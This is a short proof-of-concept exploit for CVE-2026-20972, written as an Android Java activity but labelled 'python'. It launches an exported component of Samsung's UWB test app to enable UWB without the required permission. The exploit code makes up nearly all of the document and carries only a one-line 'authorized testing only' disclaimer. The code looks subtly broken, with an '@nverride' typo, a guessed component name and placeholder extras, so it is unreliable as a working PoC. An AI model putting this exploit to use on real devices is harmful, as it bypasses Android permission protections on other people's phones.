The following code is for security research and authorized testing only.
python
// CVE-2026-20972 PoC: Exploit UwbTest exported component to enable UWB
// This PoC demonstrates how a local attacker can enable UWB without proper permissions
package com.example.cve202620972poc;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity {
@nverride
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// Attempt to exploit UwbTest exported component
exploitUwbComponent();
}
private void exploitUwbComponent() {
try {
// Target component in UwbTest app
// Replace 'ComponentName' with actual exported component name
ComponentName componentName = new ComponentName(
"com.samsung.android.uwb", // Package name
"com.samsung.android.uwb.UwbTestActivity" // Exported component
);
Intent intent = new Intent();
intent.setComponent(componentName);
intent.setAction("android.intent.action.MAIN");
// Add any required extras if known
// intent.putExtra("extra_name", "value");
// Start the activity without UWB permission
startActivity(intent);
// UWB should now be enabled without android.permission.UWB_RANGING
} catch (Exception e) {
e.printStackTrace();
}
}
}
// Note: This PoC requires:
// 1. Local access to the Samsung device
// 2. Low privilege app installation permission
// 3. Target device must have UwbTest app installed
// 4. Target device must support UWB hardware